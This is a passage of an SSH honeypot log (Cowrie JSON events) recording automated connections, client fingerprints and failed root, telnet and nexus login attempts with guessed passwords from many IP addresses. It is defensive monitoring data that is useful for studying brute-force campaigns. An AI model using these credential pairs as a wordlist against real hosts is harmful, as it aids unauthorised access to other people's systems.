f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:05.796665Z","src_ip":"43.163.81.22","session":"e07948c62424","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tominaga","message":"login attempt [root/tominaga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:06.782305Z","src_ip":"43.163.81.22","session":"e07948c62424","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:08.024088Z","src_ip":"43.163.81.22","session":"e07948c62424","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.112.183","src_port":34228,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3824b31eadc","protocol":"ssh","message":"New connection: 43.128.112.183:34228 (10.17.0.5:22) [session: e3824b31eadc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:17.712530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:17.717817Z","src_ip":"43.128.112.183","session":"e3824b31eadc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:17.947552Z","src_ip":"43.128.112.183","session":"e3824b31eadc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"6969","message":"login attempt [root/6969] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:18.897279Z","src_ip":"43.128.112.183","session":"e3824b31eadc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:20.130103Z","src_ip":"43.128.112.183","session":"e3824b31eadc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:26.506702Z","src_ip":"111.32.153.180","session":"bc95b98c79fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.200","src_port":41506,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e7bcd472445","protocol":"ssh","message":"New connection: 209.99.190.200:41506 (10.17.0.5:22) [session: 6e7bcd472445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:40.432425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:40.436469Z","src_ip":"209.99.190.200","session":"6e7bcd472445","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:40.535180Z","src_ip":"209.99.190.200","session":"6e7bcd472445","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.56.192","src_port":42068,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d4c02486fc0","protocol":"ssh","message":"New connection: 43.153.56.192:42068 (10.17.0.5:22) [session: 0d4c02486fc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:40.714540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:40.720665Z","src_ip":"43.153.56.192","session":"0d4c02486fc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:40.788966Z","src_ip":"43.153.56.192","session":"0d4c02486fc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234qwerASDF","message":"login attempt [root/1234qwerASDF] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:40.951329Z","src_ip":"209.99.190.200","session":"6e7bcd472445","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"backoffice","message":"login attempt [root/backoffice] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:41.095360Z","src_ip":"43.153.56.192","session":"0d4c02486fc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:42.051892Z","src_ip":"209.99.190.200","session":"6e7bcd472445","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:42.167531Z","src_ip":"43.153.56.192","session":"0d4c02486fc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.119.63.98","src_port":27580,"dst_ip":"10.17.0.5","dst_port":22,"session":"81bc4e567631","protocol":"ssh","message":"New connection: 190.119.63.98:27580 (10.17.0.5:22) [session: 81bc4e567631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:52.690646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:52.703718Z","src_ip":"190.119.63.98","session":"81bc4e567631","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:52.844893Z","src_ip":"190.119.63.98","session":"81bc4e567631","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"polkadot","message":"login attempt [root/polkadot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:53.418579Z","src_ip":"190.119.63.98","session":"81bc4e567631","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:54.578753Z","src_ip":"190.119.63.98","session":"81bc4e567631","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.197","src_port":53880,"dst_ip":"10.17.0.5","dst_port":22,"session":"4556c0614d0a","protocol":"ssh","message":"New connection: 43.153.50.197:53880 (10.17.0.5:22) [session: 4556c0614d0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:57.219707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:57.225467Z","src_ip":"43.153.50.197","session":"4556c0614d0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:57.294646Z","src_ip":"43.153.50.197","session":"4556c0614d0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r0cknr0ll","message":"login attempt [root/r0cknr0ll] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:57.600949Z","src_ip":"43.153.50.197","session":"4556c0614d0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:12:58.673412Z","src_ip":"43.153.50.197","session":"4556c0614d0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.83.154","src_port":36668,"dst_ip":"10.17.0.5","dst_port":22,"session":"bef0cc596a38","protocol":"ssh","message":"New connection: 43.173.83.154:36668 (10.17.0.5:22) [session: bef0cc596a38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:03.298961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:03.304848Z","src_ip":"43.173.83.154","session":"bef0cc596a38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:03.391780Z","src_ip":"43.173.83.154","session":"bef0cc596a38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"group4","message":"login attempt [root/group4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:03.727202Z","src_ip":"43.173.83.154","session":"bef0cc596a38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:04.800684Z","src_ip":"43.173.83.154","session":"bef0cc596a38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":20769,"dst_ip":"10.17.0.5","dst_port":22,"session":"26c24841ea91","protocol":"ssh","message":"New connection: 193.46.255.86:20769 (10.17.0.5:22) [session: 26c24841ea91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:05.393157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:05.398434Z","src_ip":"193.46.255.86","session":"26c24841ea91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:05.403289Z","src_ip":"111.32.153.180","session":"b9e95943a5fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:05.531307Z","src_ip":"193.46.255.86","session":"26c24841ea91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telnet","password":"telnet","message":"login attempt [telnet/telnet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:06.121942Z","src_ip":"193.46.255.86","session":"26c24841ea91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":56314,"dst_ip":"159.203.135.109","dst_port":22,"session":"347eecf9f369","protocol":"ssh","message":"New connection: 193.32.162.151:56314 (159.203.135.109:22) [session: 347eecf9f369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:07.231139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:07.236300Z","src_ip":"193.32.162.151","session":"347eecf9f369","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telnet","password":"abc123","message":"login attempt [telnet/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:07.254537Z","src_ip":"193.46.255.86","session":"26c24841ea91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:07.337446Z","src_ip":"193.32.162.151","session":"347eecf9f369","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus","message":"login attempt [nexus/nexus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:07.645637Z","src_ip":"193.32.162.151","session":"347eecf9f369","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telnet","password":"abcd123","message":"login attempt [telnet/abcd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:08.392235Z","src_ip":"193.46.255.86","session":"26c24841ea91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:08.750275Z","src_ip":"193.32.162.151","session":"347eecf9f369","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telnet","password":"abcd1234","message":"login attempt [telnet/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:13:09.524380Z","src_ip":"193.46.255.86","session":"26c24841ea91","protocol":"ssh"}
